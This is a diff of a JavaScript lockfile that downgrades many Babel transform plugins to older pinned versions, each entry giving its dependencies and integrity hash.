- "@babel/plugin-transform-modules-amd": ["@babel/plugin-transform-modules-amd@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-iCsytMg/N9/oFq6n+gFTvUYDZQOMK5kEdeYxmxt91fcJGycfxVP9CnrxoliM0oumFERba2i8ZtwRUCMhvP1LnA=="],
+ "@babel/plugin-transform-modules-amd": ["@babel/plugin-transform-modules-amd@7.25.9", "", { "dependencies": { "@babel/helper-module-transforms": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-g5T11tnI36jVClQlMlt4qKDLlWnG5pP9CSM4GhdRciTNMRgkfpo5cR6b4rGIOYPgRRuFAvwjPQ/Yk+ql4dyhbw=="],
- "@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw=="],
+ "@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.26.3", "", { "dependencies": { "@babel/helper-module-transforms": "^7.26.0", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MgR55l4q9KddUDITEzEFYn5ZsGDXMSsU9E+kh7fjRXTIC3RHqfCo8RPRbyReYJh44HQ/yomFkqbOFohXvDCiIQ=="],
- "@babel/plugin-transform-modules-systemjs": ["@babel/plugin-transform-modules-systemjs@7.28.5", "", { "dependencies": { "@babel/helper-module-transforms": "^7.28.3", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5", "@babel/traverse": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vn5Jma98LCOeBy/KpeQhXcV2WZgaRUtjwQmjoBuLNlOmkg0fB5pdvYVeWRYI69wWKwK2cD1QbMiUQnoujWvrew=="],
+ "@babel/plugin-transform-modules-systemjs": ["@babel/plugin-transform-modules-systemjs@7.25.9", "", { "dependencies": { "@babel/helper-module-transforms": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9", "@babel/helper-validator-identifier": "^7.25.9", "@babel/traverse": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-hyss7iIlH/zLHaehT+xwiymtPOpsiwIIRlCAOwBB04ta5Tt+lNItADdlXw3jAWZ96VJ2jlhl/c+PNIQPKNfvcA=="],
- "@babel/plugin-transform-modules-umd": ["@babel/plugin-transform-modules-umd@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-iQBE/xC5BV1OxJbp6WG7jq9IWiD+xxlZhLrdwpPkTX3ydmXdvoCpyfJN7acaIBZaOqTfr76pgzqBJflNbeRK+w=="],
+ "@babel/plugin-transform-modules-umd": ["@babel/plugin-transform-modules-umd@7.25.9", "", { "dependencies": { "@babel/helper-module-transforms": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-bS9MVObUgE7ww36HEfwe6g9WakQ0KF07mQF74uuXdkoziUPfKyu/nIm663kz//e5O1nPInPFx36z7WJmJ4yNEw=="],
- "@babel/plugin-transform-named-capturing-groups-regex": ["@babel/plugin-transform-named-capturing-groups-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-SstR5JYy8ddZvD6MhV0tM/j16Qds4mIpJTOd1Yu9J9pJjH93bxHECF7pgtc28XvkzTD6Pxcm/0Z73Hvk7kb3Ng=="],
+ "@babel/plugin-transform-named-capturing-groups-regex": ["@babel/plugin-transform-named-capturing-groups-regex@7.25.9", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-oqB6WHdKTGl3q/ItQhpLSnWWOpjUJLsOCLVyeFgeTktkBSCiurvPOsyt93gibI9CmuKvTUEtWmG5VhZD+5T/KA=="],
- "@babel/plugin-transform-new-target": ["@babel/plugin-transform-new-target@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-f6PiYeqXQ05lYq3TIfIDu/MtliKUbNwkGApPUvyo6+tc7uaR4cPjPe7DFPr15Uyycg2lZU6btZ575CuQoYh7MQ=="],
+ "@babel/plugin-transform-new-target": ["@babel/plugin-transform-new-target@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-U/3p8X1yCSoKyUj2eOBIx3FOn6pElFOKvAAGf8HTtItuPyB+ZeOqfn+mvTtg9ZlOAjsPdK3ayQEjqHjU/yLeVQ=="],
- "@babel/plugin-transform-nullish-coalescing-operator": ["@babel/plugin-transform-nullish-coalescing-operator@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-aGZh6xMo6q9vq1JGcw58lZ1Z0+i0xB2x0XaauNIUXd6O1xXc3RwoWEBlsTQrY4KQ9Jf0s5rgD6SiNkaUdJegTA=="],
+ "@babel/plugin-transform-nullish-coalescing-operator": ["@babel/plugin-transform-nullish-coalescing-operator@7.26.6", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.26.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-CKW8Vu+uUZneQCPtXmSBUC6NCAUdya26hWCElAWh5mVSlSRsmiCPUUDKb3Z0szng1hiAJa098Hkhg9o4SE35Qw=="],
- "@babel/plugin-transform-numeric-separator": ["@babel/plugin-transform-numeric-separator@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fdPKAcujuvEChxDBJ5c+0BTaS6revLV7CJL08e4m3de8qJfNIuCc2nc7XJYOjBoTMJeqSmwXJ0ypE14RCjLwaw=="],
+ "@babel/plugin-transform-numeric-separator": ["@babel/plugin-transform-numeric-separator@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-TlprrJ1GBZ3r6s96Yq8gEQv82s8/5HnCVHtEJScUj90thHQbwe+E5MLhi2bbNHBEJuzrvltXSru+BUxHDoog7Q=="],
- "@babel/plugin-transform-object-rest-spread": ["@babel/plugin-transform-object-rest-spread@7.28.4", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.0", "@babel/plugin-transform-parameters": "^7.27.7", "@babel/traverse": "^7.28.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-373KA2HQzKhQCYiRVIRr+3MjpCObqzDlyrM6u4I201wL8Mp2wHf7uB8GhDwis03k2ti8Zr65Zyyqs1xOxUF/Ew=="],
+ "@babel/plugin-transform-object-rest-spread": ["@babel/plugin-transform-object-rest-spread@7.25.9", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9", "@babel/plugin-transform-parameters": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fSaXafEE9CVHPweLYw4J0emp1t8zYTXyzN3UuG+lylqkvYd7RMrsOQ8TYx5RF231be0vqtFC6jnx3UmpJmKBYg=="],
- "@babel/plugin-transform-object-super": ["@babel/plugin-transform-object-super@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-SFy8S9plRPbIcxlJ8A6mT/CxFdJx/c04JEctz4jf8YZaVS2px34j7NXRrlGlHkN/M2gnpL37ZpGRGVFLd3l8Ng=="],
+ "@babel/plugin-transform-object-super": ["@babel/plugin-transform-object-super@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9", "@babel/helper-replace-supers": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Kj/Gh+Rw2RNLbCK1VAWj2U48yxxqL2x0k10nPtSdRa0O2xnHXalD0s+o1A6a0W43gJ00ANo38jxkQreckOzv5A=="],
- "@babel/plugin-transform-optional-catch-binding": ["@babel/plugin-transform-optional-catch-binding@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-txEAEKzYrHEX4xSZN4kJ+OfKXFVSWKB2ZxM9dpcE3wT7smwkNmXo5ORRlVzMVdJbD+Q8ILTgSD7959uj+3Dm3Q=="],
+ "@babel/plugin-transform-optional-catch-binding": ["@babel/plugin-transform-optional-catch-binding@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-qM/6m6hQZzDcZF3onzIhZeDHDO43bkNNlOX0i8n3lR6zLbu0GN2d8qfM/IERJZYauhAHSLHy39NF0Ctdvcid7g=="],
- "@babel/plugin-transform-optional-chaining": ["@babel/plugin-transform-optional-chaining@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-N6fut9IZlPnjPwgiQkXNhb+cT8wQKFlJNqcZkWlcTqkcqx6/kU4ynGmLFoa4LViBSirn05YAwk+sQBbPfxtYzQ=="],
+ "@babel/plugin-transform-optional-chaining": ["@babel/plugin-transform-optional-chaining@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9", "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-6AvV0FsLULbpnXeBjrY4dmWF8F7gf8QnvTEoO/wX/5xm/xE1Xo8oPuD3MPS+KS9f9XBEAWN7X1aWr4z9HdOr7A=="],
- "@babel/plugin-transform-parameters": ["@babel/plugin-transform-parameters@7.27.7", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-qBkYTYCb76RRxUM6CcZA5KRu8K4SM8ajzVeUgVdMVO9NN9uI/GaVmBg/WKJJGnNokV9SY8FxNOVWGXzqzUidBg=="],
+ "@babel/plugin-transform-parameters": ["@babel/plugin-transform-parameters@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-wzz6MKwpnshBAiRmn4jR8LYz/g8Ksg0o80XmwZDlordjwEk9SxBzTWC7F5ef1jhbrbOW2DJ5J6ayRukrJmnr0g=="],
- "@babel/plugin-transform-private-methods": ["@babel/plugin-transform-private-methods@7.27.1", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-10FVt+X55AjRAYI9BrdISN9/AQWHqldOeZDUoLyif1Kn05a56xVBXb8ZouL8pZ9jem8QpXaOt8TS7RHUIS+GPA=="],
+ "@babel/plugin-transform-private-methods": ["@babel/plugin-transform-private-methods@7.25.9", "", { "dependencies": { "@babel/helper-create-class-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D/JUozNpQLAPUVusvqMxyvjzllRaF8/nSrP1s2YGQT/W4LHK4xxsMcHjhOGTS01mp9Hda8nswb+FblLdJornQw=="],
- "@babel/plugin-transform-private-property-in-object": ["@babel/plugin-transform-private-property-in-object@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-create-class-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-5J+IhqTi1XPa0DXF83jYOaARrX+41gOewWbkPyjMNRDqgOCqdffGh8L3f/Ek5utaEBZExjSAzcyjmV9SSAWObQ=="],
+ "@babel/plugin-transform-private-property-in-object": ["@babel/plugin-transform-private-property-in-object@7.25.9", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.25.9", "@babel/helper-create-class-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Evf3kcMqzXA3xfYJmZ9Pg1OvKdtqsDMSWBDzZOPLvHiTt36E75jLDQo5w1gtRU95Q4E5PDttrTf25Fw8d/uWLw=="],
- "@babel/plugin-transform-property-literals": ["@babel/plugin-transform-property-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-oThy3BCuCha8kDZ8ZkgOg2exvPYUlprMukKQXI1r1pJ47NCvxfkEy8vK+r/hT9nF0Aa4H1WUPZZjHTFtAhGfmQ=="],
+ "@babel/plugin-transform-property-literals": ["@babel/plugin-transform-property-literals@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-IvIUeV5KrS/VPavfSM/Iu+RE6llrHrYIKY1yfCzyO/lMXHQ+p7uGhonmGVisv6tSBSVgWzMBohTcvkC9vQcQFA=="],
- "@babel/plugin-transform-react-display-name": ["@babel/plugin-transform-react-display-name@7.28.0", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-D6Eujc2zMxKjfa4Zxl4GHMsmhKKZ9VpcqIchJLvwTxad9zWIYulwYItBovpDOoNLISpcZSXoDJ5gaGbQUDqViA=="],
+ "@babel/plugin-transform-react-display-name": ["@babel/plugin-transform-react-display-name@7.23.3", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-GnvhtVfA2OAtzdX58FJxU19rhoGeQzyVndw3GgtdECQvQFXPEZIOVULHVZGAYmOgmqjXpVpfocAbSjh99V/Fqw=="],
- "@babel/plugin-transform-react-jsx": ["@babel/plugin-transform-react-jsx@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-module-imports": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/types": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-2KH4LWGSrJIkVf5tSiBFYuXDAoWRq2MMwgivCf+93dd0GQi8RXLjKA/0EvRnVV5G0hrHczsquXuD01L8s6dmBw=="],
+ "@babel/plugin-transform-react-jsx": ["@babel/plugin-transform-react-jsx@7.23.4", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-module-imports": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-jsx": "^7.23.3", "@babel/types": "^7.23.4" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-5xOpoPguCZCRbo/JeHlloSkTA8Bld1J/E1/kLfD1nsuiW1m8tduTA1ERCgIZokDflX/IBzKcqR3l7VlRgiIfHA=="],
- "@babel/plugin-transform-react-jsx-development": ["@babel/plugin-transform-react-jsx-development@7.27.1", "", { "dependencies": { "@babel/plugin-transform-react-jsx": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-ykDdF5yI4f1WrAolLqeF3hmYU12j9ntLQl/AOG1HAS21jxyg1Q0/J/tpREuYLfatGdGmXp/3yS0ZA76kOlVq9Q=="],
+ "@babel/plugin-transform-react-jsx-development": ["@babel/plugin-transform-react-jsx-development@7.22.5", "", { "dependencies": { "@babel/plugin-transform-react-jsx": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-bDhuzwWMuInwCYeDeMzyi7TaBgRQei6DqxhbyniL7/VG4RSS7HtSL2QbY4eESy1KJqlWt8g3xeEBGPuo+XqC8A=="],
- "@babel/plugin-transform-react-jsx-self": ["@babel/plugin-transform-react-jsx-self@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-6UzkCs+ejGdZ5mFFC/OCUrv028ab2fp1znZmCZjAOBKiBK2jXD1O+BPSfX8X2qjJ75fZBMSnQn3Rq2mrBJK2mw=="],
+ "@babel/plugin-transform-react-jsx-self": ["@babel/plugin-transform-react-jsx-self@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-y8quW6p0WHkEhmErnfe58r7x0A70uKphQm8Sp8cV7tjNQwK56sNVK0M73LK3WuYmsuyrftut4xAkjjgU0twaMg=="],
- "@babel/plugin-transform-react-jsx-source": ["@babel/plugin-transform-react-jsx-source@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-zbwoTsBruTeKB9hSq73ha66iFeJHuaFkUbwvqElnygoNbj/jHRsSeokowZFN3CZ64IvEqcmmkVe89OPXc7ldAw=="],
+ "@babel/plugin-transform-react-jsx-source": ["@babel/plugin-transform-react-jsx-source@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+iqjT8xmXhhYv4/uiYd8FNQsraMFZIfxVSqxxVSZP0WbbSAWvBXAul0m/zu+7Vv4O/3WtApy9pmaTMiumEZgfg=="],
- "@babel/plugin-transform-react-pure-annotations": ["@babel/plugin-transform-react-pure-annotations@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-JfuinvDOsD9FVMTHpzA/pBLisxpv1aSf+OIV8lgH3MuWrks19R27e6a6DipIg4aX1Zm9Wpb04p8wljfKrVSnPA=="],
+ "@babel/plugin-transform-react-pure-annotations": ["@babel/plugin-transform-react-pure-annotations@7.23.3", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-plugin-utils": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-qMFdSS+TUhB7Q/3HVPnEdYJDQIk57jkntAwSuz9xfSE4n+3I+vHYCli3HoHawN1Z3RfCz/y1zXA/JXjG6cVImQ=="],
- "@babel/plugin-transform-regenerator": ["@babel/plugin-transform-regenerator@7.28.4", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+ZEdQlBoRg9m2NnzvEeLgtvBMO4tkFBw5SQIUgLICgTrumLoU7lr+Oghi6km2PFj+dbUt2u1oby2w3BDO9YQnA=="],
+ "@babel/plugin-transform-regenerator": ["@babel/plugin-transform-regenerator@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9", "regenerator-transform": "^0.15.2" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-vwDcDNsgMPDGP0nMqzahDWE5/MLcX8sv96+wfX7as7LoF/kr97Bo/7fI00lXY4wUXYfVmwIIyG80fGZ1uvt2qg=="],
- "@babel/plugin-transform-regexp-modifiers": ["@babel/plugin-transform-regexp-modifiers@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-TtEciroaiODtXvLZv4rmfMhkCv8jx3wgKpL68PuiPh2M4fvz5jhsA7697N1gMvkvr/JTF13DrFYyEbY9U7cVPA=="],
+ "@babel/plugin-transform-regexp-modifiers": ["@babel/plugin-transform-regexp-modifiers@7.26.0", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-vN6saax7lrA2yA/Pak3sCxuD6F5InBjn9IcrIKQPjpsLvuHYLVroTxjdlVRHjjBWxKOqIwpTXDkOssYT4BFdRw=="],
- "@babel/plugin-transform-reserved-words": ["@babel/plugin-transform-reserved-words@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-V2ABPHIJX4kC7HegLkYoDpfg9PVmuWy/i6vUM5eGK22bx4YVFD3M5F0QQnWQoDs6AGsUWTVOopBiMFQgHaSkVw=="],
+ "@babel/plugin-transform-reserved-words": ["@babel/plugin-transform-reserved-words@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-7DL7DKYjn5Su++4RXu8puKZm2XBPHyjWLUidaPEkCUBbE7IPcsrkRHggAOOKydH1dASWdcUBxrkOGNxUv5P3Jg=="],
"@babel/plugin-transform-runtime": ["@babel/plugin-transform-runtime@7.23.9", "", { "dependencies": { "@babel/helper-module-imports": "^7.22.15", "@babel/helper-plugin-utils": "^7.22.5", "babel-plugin-polyfill-corejs2": "^0.4.8", "babel-plugin-polyfill-corejs3": "^0.9.0", "babel-plugin-polyfill-regenerator": "^0.5.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-A7clW3a0aSjm3ONU9o2HAILSegJCYlEZmOhmBRReVtIpY/Z/p7yIZ+wR41Z+UipwdGuqwtID/V/dOdZXjwi9gQ=="],
- "@babel/plugin-transform-shorthand-properties": ["@babel/plugin-transform-shorthand-properties@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-N/wH1vcn4oYawbJ13Y/FxcQrWk63jhfNa7jef0ih7PHSIHX2LB7GWE1rkPrOnka9kwMxb6hMl19p7lidA+EHmQ=="],
+ "@babel/plugin-transform-shorthand-properties": ["@babel/plugin-transform-shorthand-properties@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-MUv6t0FhO5qHnS/W8XCbHmiRWOphNufpE1IVxhK5kuN3Td9FT1x4rx4K42s3RYdMXCXpfWkGSbCSd0Z64xA7Ng=="],
- "@babel/plugin-transform-spread": ["@babel/plugin-transform-spread@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-kpb3HUqaILBJcRFVhFUs6Trdd4mkrzcGXss+6/mxUd273PfbWqSDHRzMT2234gIg2QYfAjvXLSquP1xECSg09Q=="],
+ "@babel/plugin-transform-spread": ["@babel/plugin-transform-spread@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9", "@babel/helper-skip-transparent-expression-wrappers": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-oNknIB0TbURU5pqJFVbOOFspVlrpVwo2H1+HUIsVDvp5VauGGDP1ZEvO8Nn5xyMEs3dakajOxlmkNW7kNgSm6A=="],
- "@babel/plugin-transform-sticky-regex": ["@babel/plugin-transform-sticky-regex@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-lhInBO5bi/Kowe2/aLdBAawijx+q1pQzicSgnkB6dUPc1+RC8QmJHKf2OjvU+NZWitguJHEaEmbV6VWEouT58g=="],
+ "@babel/plugin-transform-sticky-regex": ["@babel/plugin-transform-sticky-regex@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-WqBUSgeVwucYDP9U/xNRQam7xV8W5Zf+6Eo7T2SRVUFlhRiMNFdFz58u0KZmCVVqs2i7SHgpRnAhzRNmKfi2uA=="],
- "@babel/plugin-transform-template-literals": ["@babel/plugin-transform-template-literals@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-fBJKiV7F2DxZUkg5EtHKXQdbsbURW3DZKQUWphDum0uRP6eHGGa/He9mc0mypL680pb+e/lDIthRohlv8NCHkg=="],
+ "@babel/plugin-transform-template-literals": ["@babel/plugin-transform-template-literals@7.26.8", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.26.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OmGDL5/J0CJPJZTHZbi2XpO0tyT2Ia7fzpW5GURwdtp2X3fMmN8au/ej6peC/T33/+CRiIpA8Krse8hFGVmT5Q=="],
- "@babel/plugin-transform-typeof-symbol": ["@babel/plugin-transform-typeof-symbol@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-RiSILC+nRJM7FY5srIyc4/fGIwUhyDuuBSdWn4y6yT6gm652DpCHZjIipgn6B7MQ1ITOUnAKWixEUjQRIBIcLw=="],
+ "@babel/plugin-transform-typeof-symbol": ["@babel/plugin-transform-typeof-symbol@7.26.7", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.26.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-jfoTXXZTgGg36BmhqT3cAYK5qkmqvJpvNrPhaK/52Vgjhw4Rq29s9UqpWWV0D6yuRmgiFH/BUVlkl96zJWqnaw=="],
- "@babel/plugin-transform-typescript": ["@babel/plugin-transform-typescript@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-create-class-features-plugin": "^7.28.5", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/plugin-syntax-typescript": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-x2Qa+v/CuEoX7Dr31iAfr0IhInrVOWZU/2vJMJ00FOR/2nM0BcBEclpaf9sWCDc+v5e9dMrhSH8/atq/kX7+bA=="],
+ "@babel/plugin-transform-typescript": ["@babel/plugin-transform-typescript@7.23.6", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.22.5", "@babel/helper-create-class-features-plugin": "^7.23.6", "@babel/helper-plugin-utils": "^7.22.5", "@babel/plugin-syntax-typescript": "^7.23.3" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-6cBG5mBvUu4VUD04OHKnYzbuHNP8huDsD3EDqqpIpsswTDoqHCjLoHb6+QgsV1WsT2nipRqCPgxD3LXnEO7XfA=="],
- "@babel/plugin-transform-unicode-escapes": ["@babel/plugin-transform-unicode-escapes@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Ysg4v6AmF26k9vpfFuTZg8HRfVWzsh1kVfowA23y9j/Gu6dOuahdUVhkLqpObp3JIv27MLSii6noRnuKN8H0Mg=="],
+ "@babel/plugin-transform-unicode-escapes": ["@babel/plugin-transform-unicode-escapes@7.25.9", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-s5EDrE6bW97LtxOcGj1Khcx5AaXwiMmi4toFWRDP9/y0Woo6pXC+iyPu/KuhKtfSrNFd7jJB+/fkOtZy6aIC6Q=="],
- "@babel/plugin-transform-unicode-property-regex": ["@babel/plugin-transform-unicode-property-regex@7.27.1", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-uW20S39PnaTImxp39O5qFlHLS9LJEmANjMG7SxIhap8rCHqu0Ik+tLEPX5DKmHn6CsWQ7j3lix2tFOa5YtL12Q=="],
+ "@babel/plugin-transform-unicode-property-regex": ["@babel/plugin-transform-unicode-property-regex@7.25.9", "", { "dependencies": { "@babel/helper-create-regexp-features-plugin": "^7.25.9", "@babel/helper-plugin-utils": "^7.25.9" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Jt2d8Ga+QwRluxRQ307Vlxa6dMrYEMZCgGxoPR8V52rxPyldHu3hdlHspxaqYmE7oID5+kB+UKUB/eWS+DkkWg=="],
